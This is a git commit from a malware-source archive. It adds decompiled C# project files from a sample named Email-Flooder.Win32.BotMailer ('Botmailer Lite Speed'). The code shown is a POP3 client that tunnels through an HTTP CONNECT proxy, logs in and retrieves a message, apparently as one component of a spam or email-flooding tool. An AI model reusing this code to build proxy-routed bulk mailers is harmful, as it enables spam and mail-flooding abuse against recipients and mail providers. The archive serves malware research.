auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
@@ -0,0 +1,13 @@
using System;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyCompany("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyTitle("")]
[assembly: Guid("97EC1077-3505-488C-A2C4-AA88533ADB07")]
[assembly: CLSCompliant(true)]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyVersion("1.0.1384.33852")]
@@ -0,0 +1,49 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Flooder.Win32.BotMailer-f647edd898ebc2e8aa4b3983ed667932e2084b937bd11403e995db4e208227b9.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{4350EF96-A12A-48CB-82B7-ADE3688C1245}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Botmailer Lite Speed</AssemblyName>
<ApplicationVersion>1.0.1384.33852</ApplicationVersion>
<RootNamespace>WindowsApplication17</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="POP.cs" />
<Compile Include="Form1.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Botmailer Lite Speed", "Email-Flooder.Win32.BotMailer-f647edd898ebc2e8aa4b3983ed667932e2084b937bd11403e995db4e208227b9.csproj", "{4350EF96-A12A-48CB-82B7-ADE3688C1245}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4350EF96-A12A-48CB-82B7-ADE3688C1245}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4350EF96-A12A-48CB-82B7-ADE3688C1245}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4350EF96-A12A-48CB-82B7-ADE3688C1245}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4350EF96-A12A-48CB-82B7-ADE3688C1245}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,140 @@
// Decompiled with JetBrains decompiler
// Type: WindowsApplication17.POP
// Assembly: Botmailer Lite Speed, Version=1.0.1384.33852, Culture=neutral, PublicKeyToken=null
// MVID: 88833486-5004-4FA6-992A-B27BD1BCD279
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Flooder.Win32.BotMailer-f647edd898ebc2e8aa4b3983ed667932e2084b937bd11403e995db4e208227b9.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Net.Sockets;
using System.Text;
namespace WindowsApplication17
{
public class POP
{
private string _proxy;
private string _proxyport;
private string _server;
private int _port;
private string _Username;
private string _Password;
private NetworkStream ns;
private TcpClient client;
public POP(string server, int port)
{
this._port = 110;
this.client = new TcpClient();
this._server = server;
this._port = port;
}
public POP(
string server,
int port,
string username,
string password,
string PROXY,
string Proxyport)
{
this._port = 110;
this.client = new TcpClient();
this._proxy = PROXY;
this._proxyport = Proxyport;
this._Username = username;
this._Password = password;
this._server = server;
this._port = port;
}
public string proxyport
{
get => this._proxyport;
set => this._proxyport = value;
}
public string proxy
{
get => this._proxy;
set => this._proxy = value;
}
public string POPServer
{
get => this._server;
set => this._server = value;
}
public string username
{
get => this._Username;
set => this._Username = value;
}
public string password
{
get => this._Password;
set => this._Password = value;
}
public int Port
{
get => this._port;
set => this._port = value;
}
public object Open()
{
string[] strArray = this._proxy.ToString().Split(':');
string str1 = strArray[0] + ", " + strArray[1];
TcpClient tcpClient = new TcpClient();
tcpClient.Connect(strArray[0], IntegerType.FromString(strArray[1]));
NetworkStream stream = tcpClient.GetStream();
byte[] bytes1 = Encoding.ASCII.GetBytes("CONNECT " + this._server + ":" + StringType.FromInteger(this._port) + " HTTP/1.1" + "\r\n" + "Host: " + this._server + ":" + StringType.FromInteger(this._port) + "\r\n" + "\r\n");
stream.Write(bytes1, 0, bytes1.Length);
byte[] numArray = new byte[checked (tcpClient.ReceiveBufferSize + 1)];
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
Console.WriteLine("POP Return 1:" + Encoding.ASCII.GetString(numArray));
byte[] bytes2 = Encoding.ASCII.GetBytes("USER " + this._Username + "\r\n");
stream.Write(bytes2, 0, bytes2.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
string str2 = Encoding.ASCII.GetString(numArray);
if (StringType.StrCmp(str2.Substring(0, 3), "+OK", false) == 0)
{
Console.WriteLine("Pop Return 2:" + str2);
byte[] bytes3 = Encoding.ASCII.GetBytes("PASS " + this._Password + "\r\n");
stream.Write(bytes3, 0, bytes3.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
string str3 = Encoding.ASCII.GetString(numArray);
Console.WriteLine("Pop3 Returndata 3:" + str3);
if (StringType.StrCmp(str3.Substring(0, 3), "+OK", false) == 0)
{
byte[] bytes4 = Encoding.ASCII.GetBytes("STAT\r\n");
stream.Write(bytes4, 0, bytes4.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
Console.WriteLine("Pop3 Returndata 4:" + Encoding.ASCII.GetString(numArray));
byte[] bytes5 = Encoding.ASCII.GetBytes("RETR 1\r\n");
stream.Write(bytes5, 0, bytes5.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
Console.WriteLine("Pop3 Returndata 5:" + Encoding.ASCII.GetString(numArray));
byte[] bytes6 = Encoding.ASCII.GetBytes("QUIT\r\n");
stream.Write(bytes6, 0, bytes6.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
Console.WriteLine("Pop3 Returndata 6:" + Encoding.ASCII.GetString(numArray));
}
else
{
int num = (int) Interaction.MsgBox((object) "Username/Password Error");
}
}
else
{
int num1 = (int) Interaction.MsgBox((object) "Error connecting to POP");
}
object obj;
return obj;
}
}
}